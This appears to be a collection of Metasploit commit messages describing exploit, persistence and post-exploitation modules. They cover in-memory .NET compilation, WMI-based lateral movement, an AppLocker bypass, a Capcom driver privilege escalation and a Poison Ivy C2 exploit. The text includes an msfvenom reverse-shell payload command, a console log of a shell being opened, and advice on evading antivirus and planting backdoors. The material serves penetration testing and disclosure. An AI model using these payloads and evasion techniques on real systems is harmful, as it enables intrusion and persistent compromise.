Add Exploit::Powershell::DotNet namespace with compiler and
runtime elevator.
Add compiler modules for payloads and custom .NET code/blocks.
==============
Powershell-based persistence module to compile .NET templates
with MSF payloads into binaries which persist on host.
Templates by @hostess (way back in 2012).
C# templates for simple binaries and a service executable with
its own install wrapper.
==============
Generic .NET compiler post module
Compiles .NET source code to binary on compromised hosts.
Useful for home-grown APT deployment, decoy creation, and other
misdirection or collection activities.
Using mimikatz (kiwi), one can also extract host-resident certs
and use them to sign the generated binary, thus creating a
locally trusted exe which helps with certain defensive measures.
==============
Concept:
Microsoft has graciously included a compiler in every modern
version of Windows. Although executables which can be easily
invoked by the user may not be present on all hosts, the
shared runtime of .NET and Powershell exposes this functionality
to all users with access to Powershell.
This commit provides a way to execute the compiler entirely in
memory, seeking to avoid disk access and the associated forensic
and defensive measures. Resulting .NET assemblies can be run
from memory, or written to disk (with the option of signing
them using a pfx cert on the host). Two basic modules are
provided to showcase the functionality and execution pipeline.
Usage notes:
Binaries generated this way are dynamic by nature and avoid sig
based detection. Heuristics, sandboxing, and other isolation
mechanisms must be defeated by the user for now. Play with
compiler options, included libraries, and runtime environments
for maximum entropy before you hit the temmplates.
Defenders should watch for:
Using this in conjunction with WMI/PS remoting or other MSFT
native distributed execution mechanism can bring malware labs
to their knees with properly crafted templates.
The powershell code to generate the binaries also provides a
convenient method to leave behind complex trojans which are not
yet in binary form, nor will they be until execution (which can
occur strictly in memory avoiding disk access for the final
product).
==============
On responsible disclosure: I've received some heat over the years
for prior work in this arena. Everything here is already public,
and has been in closed PRs in the R7 repo for years. The bad guys
have had this for a while (they do their homework religiously),
defenders need to be made aware of this approach and prepare
themselves to deal with it.
This commit adds MSF-side support for listing currently loaded drivers
on the machine that Meterpreter is running on. It doesn't add a UI-level
command at this point, as I didn't see the need for it. It is, however,
possible to enumerate drivers on the target using the client API.
Also, the capcom exploit is updated so that it no longer checks for the
existence of the capcom.sys file in a fixed location on disk. Instead,
it enumerates the currently loaded drivers using the new driver listing
function, and if found it checks to make sure the MD5 of the target file
is the same as the one that is expected. The has is used instead of file
version information because the capcom driver doesn't have any version
information in it.
This commit includes:
* RDI binary that abuses the SMEP bypass and userland function pointer
invocation that is provided by the driver.
* Related metasploit module.
* Associated make.build to build from command line.
* Updated command line build file.
This also includes the beginnings of a new set of functions that help
with the management/automation of kernel-related work on Windows for
local priv esc exploits.
Fixed an issue where the exploit would drop to interactive password prompt by default on newer ruby version which rendered the exploit unusable. It now properly forces pubkey authentication instead and proceeds with the bypass as expected.
Multiple DLL side loading vulnerabilities were found in various COM
components.
These issues can be exploited by loading various these components as an
embedded
OLE object. When instantiating a vulnerable object Windows will try to
load one
or more DLLs from the current working directory. If an attacker
convinces the
victim to open a specially crafted (Office) document from a directory
also
containing the attacker's DLL file, it is possible to execute arbitrary
code with
the privileges of the target user. This can potentially result in the
attacker
taking complete control of the affected system.
These modules call check() in the exploit() function and expected to get a CheckCode::Vulnerable, now that check() returns Appears instead of Vulnerable they always refuse to run.
I've flipped the logic, based on examples in other modules, now they refuse to run only if check() positively returns Safe.
use a convience method to DRY up creation
of the SSHFactory inside modules. This will make it easier
to apply changes as needed in future. Also changed msframework attr
to just framework as per our normal convention
MS-1688
Payload generation now only occurs once and function 'setup_pay'
removed. Payload is generated with cmd_psh_payload and is mutated to
fit dropped text file.
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
MS16-032 ps1 moved to external file. This ps1 will now detect windir
to find cmd.exe. The module now also detects windir to find
powershell.exe. The license is now BSD_LICENSE, and the required
copyright has been moved to the ps1. The previous optional cleanup stage
is now standard. The optional 'W_PATH' assignment is corrected to
select the user's variable unless 'W_PATH' is nil.
This module will use the powershell port of ms16-032 created by
@FuzzySec. All payloads are pushed to a compress powershell script in a
plain text file on the disk to execute.
in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof).
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against a 2.1.4 C2 server (PIVY C2 server password is
set to 'pivypass' and unknown to attacker).
### Version 2.1.4
```
msf > use windows/misc/poisonivy_21x_bof
msf exploit(poisonivy_21x_bof) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(poisonivy_21x_bof) > check
[*] 192.168.0.104:3460 The target appears to be vulnerable.
msf exploit(poisonivy_21x_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_21x_bof) > exploit
[*] 192.168.0.104:3460 - Performing handshake...
[*] Started bind handler
[*] 192.168.0.104:3460 - Sending exploit...
[*] Command shell session 1 opened (192.168.0.102:56272 -> 192.168.0.104:4444) at 2016-06-03 12:34:02 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.1.4\Poison Ivy 2.1.4>
```
Added exploit for HP Data Protector when using encrypted communications.
This has been tested against v9.00 on Windows Server 2008 R2 but should also work against older versions of DP.
When a module uses the HttpClient mixin but registers the USERNAME
and PASSWORD datastore options in order to perform a form auth,
it ruins the ability to also perform a basic auth (sometimes it's
possible to see both). To avoid option naming conflicts, basic auth
options are now HTTPUSERNAME and HTTPPASSWORD.
Fix#4885
This patch includes the following changes:
* Instead of the uploadFile action, this patch uses uploadImageCommon
to be able to support both Advantech WebAccess builds: 2014 and
2015.
* It uses an explicit check instead of the passive version check.
* It cleans up the malicious file after getting a session.
* Added module documentation to explain the differences between
different builds of Advantech WebAccess 8.0s, and 8.1.
Fix#6872
Fix#6658.
When there is no service pack, the
Msf::Exploit::Remote::SMB#smb_fingerprint_windows_sp method returns
an empty string. But in the MS08-067 exploit, instead of check an
empty string, it checks for "No Service Pack", which causes it to
never detect the right target for Windows Server 2003 SP0.
Powerhell provides direct interface to WMI, allowing users in UAC
or otherwise restricted context to attain privileged resources via
impersonation. Moreover, WMI allows for execution remotely, on any
endpoint attainable via DCOM. In practice, this allows foothold on
a single domain host to immediately infect every machine accessible
via DCOM either from the currently held privileged context (such as
a domain administrator) or from a new context generated by entering
acquired credentials.
Payloads, remote commands, and collection activities can be invoked
without direct IP connectivity on a remote host, and output can
be collected the same way.
Of particular note when implementing this technique is that admin
contexts resulting from this form of execution are not encapsulated
in UAC, allowing for immediate privesc to system if creating a new
session.
Old notes show that loopback exec is not stable or usable, though
this merits further research as it seems the native way to avoid
UAC altogether without any exploitation.
As with all the other powershell vectors, this mechanism provides
in-memory execution, and in all our testing walks right through the
AV currently out there since it has no service executable, on-disk
footprint, or even error log from the improper service exit that
psexec causes. Sandboxes dont cover powershell - too much runtime
entropy and some quite legitimate use of sockets and unmanaged
memory marshalling to get a good "guess" of what the code is trying
to do.
Makes for a great gift left behind in GPO startup scripts or other
latent backdoor approaches. Since a script is produced, those with
the need and craft can alter the resulting scripts to dynamically
enumerate domain hosts meeting their needs for exploitation at
runtime, as opposed to the "brute-force" approach used here.
-----
Testing:
The internal module has been in use for over three years in our
fork. Its been instrumental in showing several clients what it
means to be "pwned" in 30s flat. This particular version has been
slightly altered for upstream consumption and should be tested
again by community and developers alike in the upstream branch.
Note:
Word to the wise on target selection - choose carefully, it is
possible to generate more sessions than an L3 pivoted handler can
comfortably address, and having a thousand reverse_tcp sessions
going past the edge is sure to raise an eyebrow at the SOC.
This commit includes a new module that allows for payloads to be
uploaded and executed from disk while bypassing AppLocker in the
process. This module is useful for when you're attempting to generate
new shells on the target once you've already got a session. It is also
a handy way of switching between 32 and 64 bit sessions (in the case of
the InstallUtil technique).
The code is taken from Casey Smith's AppLocker bypass research (added in
the references), and includes just one technique at this point. This
technique uses the InstallUtil feature that comes with .NET. Other
techiques can be added at any time.
The code creates a C# file and uploads it to the target. The csc.exe
compiler is used to create a .NET assembly that contains an uninstaller
that gets invoked by InstallUtil behind the scenes. This function is
what contains the payload.
This was tested on Windows 7 x64. It supports running of both 32 and 64
bit payloads out of the box, and checks to make sure that .NET is
installed on the target as well as having a payload that is valid for
the machine (ie. don't run x64 on x86 OSes).
This appears to work fine with both staged and stageless payloads.